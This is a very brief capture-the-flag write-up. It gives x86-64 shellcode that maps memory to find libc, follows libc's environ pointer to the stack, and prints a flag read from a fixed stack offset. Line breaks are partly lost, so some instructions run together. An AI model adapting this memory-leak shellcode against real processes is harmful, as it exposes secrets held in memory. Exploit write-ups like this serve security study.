# TL;DR
Mmap large chunk to get libc address
libc environment to get stack address
use flag reference on stack to print out the flag
```// mmap large chunk to get libcmov rax, 9mov rdi, 0mov rsi, 0x100000mov rdx, 0x7mov r10, 0x22mov r8,  -1mov r9,  0syscall
//get stack from libc environadd rax, 0x2ef600mov rsp, [rax]
//print flagmov rax, 1mov rdi, 1mov rdx, 0x100mov rsi, [rsp-0x240]syscall```